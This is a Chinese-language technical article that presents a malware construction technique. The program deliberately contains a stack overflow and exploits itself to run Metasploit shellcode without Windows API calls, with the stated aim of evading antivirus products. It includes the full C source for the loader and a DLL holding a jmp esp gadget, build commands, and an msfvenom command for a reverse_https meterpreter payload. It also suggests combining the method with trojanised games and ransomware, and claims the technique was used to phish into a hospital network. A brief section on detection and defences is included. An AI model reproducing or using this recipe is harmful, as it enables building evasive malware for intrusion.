无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
字数 1609 2025-08-05 08:20:09
自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
前言
本文介绍了一种新型恶意软件制作技术,该技术不使用任何Windows API函数即可执行恶意代码,能够绕过主流杀毒软件(微软Defender、360、天守安全软件、火绒、腾讯管家)的检测。传统恶意软件通常采用分配内存→载入内存→执行线程的流程,而本技术通过程序自身的栈溢出漏洞实现代码执行,具有极高的隐蔽性和稳定性。
技术原理
核心思想
攻击者故意在程序中留下栈溢出漏洞,当程序运行时触发自身栈溢出攻击,从而执行恶意代码,无需使用Windows API函数进行内存分配或线程创建。
技术优势
- 无API调用:不使用任何Windows API函数,规避行为检测
- 高隐蔽性:程序表面正常,仅内部存在栈溢出漏洞
- 稳定性:解决了传统栈溢出攻击的通用性和稳定性问题
- 简易性:制作难度低于传统免杀技术
传统栈溢出攻击的局限性
- 地址依赖性:传统方法需要获取shellcode在内存中的精确地址
- 环境敏感性:不同系统和环境下内存地址不同,缺乏通用性
- 执行不稳定:直接在溢出字符后跟恶意代码易受栈上原始数据干扰
技术实现
关键概念
- 栈溢出:程序运行时内存空间固定,超出空间导致缓冲区溢出
- EIP寄存器:存储下一条要执行指令地址的寄存器
- NOP指令:空操作指令,用于构建"滑梯"提高执行稳定性
- ret返回地址:函数返回时跳转的地址,覆盖此地址可控制程序流
自缺陷程序架构
- 主程序(sdp.c):包含故意设计的栈溢出漏洞
- DLL库(fun.c):提供固定的jmp esp指令地址
实现步骤
1. 编写DLL库(fun.c)
#include <stdio.h>
void Vuln() {
int a = 1;
}
void Jmp_Esp() {
__asm__("jmp *%esp\n\t"
"jmp *%eax\n\t"
"pop %eax\n\t"
"pop %eax\n\t"
"ret");
}
2. 编写主程序(sdp.c)
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void Function(char *Input);
int main(int argc, char *argv[]) {
Vuln(); // 调用dll库函数确保编译时引用dll
char buff[10000];
memset(buff, 'A', 2012); // 溢出点在2012个字符
char addr[] = "\x8c\x14\x50\x62"; // dll里jmp esp指令地址
char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // nop滑梯
unsigned char code[] = "shellcode内容"; // 使用msf生成的shellcode
memcpy(buff + 2012, addr, sizeof(addr) - 1);
memcpy(buff + 2012 + sizeof(addr) - 1, nop, sizeof(nop) - 1);
memcpy(buff + 2012 + sizeof(addr) - 1 + sizeof(nop) - 1, code, sizeof(code) - 1);
Function(buff);
return 0;
}
void Function(char *Input) {
char Buffer2S[2000]; // 固定缓冲区大小,溢出点在2012个字符
strcpy(Buffer2S, Input); // 调用strcpy函数触发缓冲区溢出
}
3. 生成shellcode
使用msfvenom生成32位shellcode,排除空字符(\x00):
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=8011 EXITFUNC=thread -f c -a x86 -b "\x00"
4. 编译DLL库
- 编译为目标文件:
gcc.exe -c fun.c -m32
- 生成动态链接库,指定基地址为0x62500000:
gcc.exe -shared -o fun.dll -Wl,--out-implib=libessfun.a -Wl,--image-base=0x62500000 fun.o -m32
5. 编译主程序
gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows
6. 定位jmp esp指令地址
- 使用Immunity Debugger加载sdp.exe
- 执行Mona插件命令:
!mona find -s "\xff\xe4" -m fun.dll
- 找到jmp esp指令地址(如0x62501443),按小端序修改sdp.c中的addr变量:
char addr[] = "\x43\x14\x50\x62";
- 重新编译主程序
执行流程
- 受害者运行sdp.exe
- 程序触发自身栈溢出
- 覆盖返回地址跳转到DLL中的jmp esp指令
- jmp esp指令跳转到栈上执行恶意代码
- 恶意代码通过nop滑梯稳定执行shellcode
检测与防护
检测方法
- 内存检测:监控异常的内存执行行为
- 行为分析:检测不正常的栈操作模式
- 静态分析:识别可疑的栈操作代码模式
防护措施
- 启用DEP:数据执行保护可防止栈上代码执行
- 启用ASLR:地址空间布局随机化增加攻击难度
- 栈保护:使用栈保护技术如Canary值
- 代码审计:检查可疑的strcpy等不安全函数使用
实战应用
组合技术
- 游戏修改:将恶意代码插入游戏程序,游戏运行时后台执行
- 勒索病毒:利用此技术实现无API调用的文件加密
- 持久化:结合其他技术实现长期驻留
实际案例
作者在红队项目中成功使用此技术钓鱼获取医院内网入口点,绕过所有安全检测。
总结与思考
技术优势
- 免杀效果好:静态和行为检测均难以发现
- 稳定性高:一次编译可在多平台稳定运行
- 制作简单:比传统免杀技术更易实现
潜在风险
- 检测困难:传统特征检测难以发现此类恶意程序
- 滥用风险:可用于勒索病毒等高危攻击
- 隐蔽性强:可与其他合法程序结合增强隐蔽性
未来方向
- 自动化工具:开发自动化生成此类恶意程序的工具
- 检测技术:研究针对性的检测方法
- 防御体系:构建多层防御体系应对此类攻击
资源
完整源代码及演示视频:
https://github.com/baimao-box/Self-Defective-Program
注意:本技术仅限安全研究使用,切勿用于非法用途。